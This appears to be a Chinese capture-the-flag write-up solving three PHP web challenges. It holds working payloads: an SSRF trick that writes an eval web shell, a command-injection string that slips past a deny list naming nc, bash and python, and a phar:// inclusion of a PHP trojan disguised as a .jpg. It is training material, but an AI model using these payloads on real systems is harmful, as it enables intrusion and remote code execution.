ssrfme
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
进入环境给出了源码,首先判断有没有通过GET方式传入一个值,如果传入且是给file,path传的值,就将file值保存到 u r l 中, p a t h 值和 " u p l o a d / " 拼接存入 url中,path值和"upload/"拼接存入 url中,path值和"upload/"拼接存入path中,如果没有通过GET方式传入值那么就高亮显示代码,然后判断我们输入的字符中有没有…如果有就输出’This is a waf!'并退出程序,然后通过strops函数比较传入的file开头是否以http://127.0.0.1/开头,没有的话就输出Hello.Geeker,如果有就包含path传入的url,并显示路径。简单构造一下payload
?file=http://127.0.0.1/?file=http://127.0.0.1/&path=<?php eval($_POST['shell']);?>&path=3.php
默认情况下,浏览器会对特殊字符进行url编码,所以php默认就会对解析后的参数进行url解码,注意是对解析后的。空格等特殊字符如果不进行编码,服务器在处理的时候可能出现问题,通过浏览器的方式访问的话,空格会自动编码为%20或者+,但我们通过上述方法嵌套参数,让服务器自己去请求http的时候就会出现问题,解决方法是进行二次编码。因为第二点说了web服务器默认就会对解析后的参数进行url解码,所以php最开始解析我们的参数时进行了一个解码,服务器通过http伪协议去访问时又会对解析后的参数进行一次解码,所以我们可以进行二次编码
#将其中一个&进行url编码,让服务器成功解析出两个参数
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php eval($_POST['shell']);?>&path=3.php
#对整个一句话进行二次编码,免得别的字符影响结果
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65&path=3.php
成功rce
然后我们找flag即可
端午节就该吃粽子
题目如下让我们访问login.php
然后就一个登录界面查看源码发现index.php
我们直接访问发现没有结果使用伪协议读取
然后我们使用base64解密
<?php
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no no no!')
window.location.href='index.php';</script>");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<script language='javascript' type='text/javascript'>
alert('no flag!')
window.location.href='index.php';</script>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo $a;
}
?>
发现有两个正则需要绕过,构造payload
?url=127.0.0.1|ca\t${IFS}/????
|拼接执行指令\绕过对cat的匹配${IFS}绕过对空格的匹配,???绕过对flag的匹配这样就能成功拿下flag
pchar???
补充知识点
开始这题之前我们先补充一个知识点
phar 的文件包含
和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面。
然后在文件包含的函数里面 可控的话 ,使用phar://xxxx/xxx 就可以实现文件包含了
解题
进入题目查看源码发现一个界面我们去访问看一下
然后我们在include.php中查看源码又发现一个页面upload.php
两个页面访问结果如下
估计是通过upload.php上传的内容然后通过include.php包含进来,我们先来试试文件包含
基本确定是文件包含了但是他会在你输入的文件名后面+.php
既然这样那我们尝试使用php://filter/协议读取源码试试
include.php?file=php://filter/convert.base64-encode/resource=include
将源码读出我们进行base64解码得到如下源码
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
这里发现过滤掉了http,data,ftp,input,%00,…并且长度不能大于70
然后我们再去读一下upload.php
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
这里采用白名单过滤的方法进行文件上传再根据题目名称为phar我们来试试
首先我们写一个
<?php phpinfo();?>
然后我们将这个php文件压缩成zip的压缩包
之后将zip压缩包的后缀改为.jpg然后进行上传
上传成功然后我们使用phar进行文件包含
http://www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1
成功执行下面我们将phpinfo改为木马即可
<?php
echo "hack!";
eval($_REQUEST[cmd]);
?>
上传成功,下面我们使用hackbar执行指令即可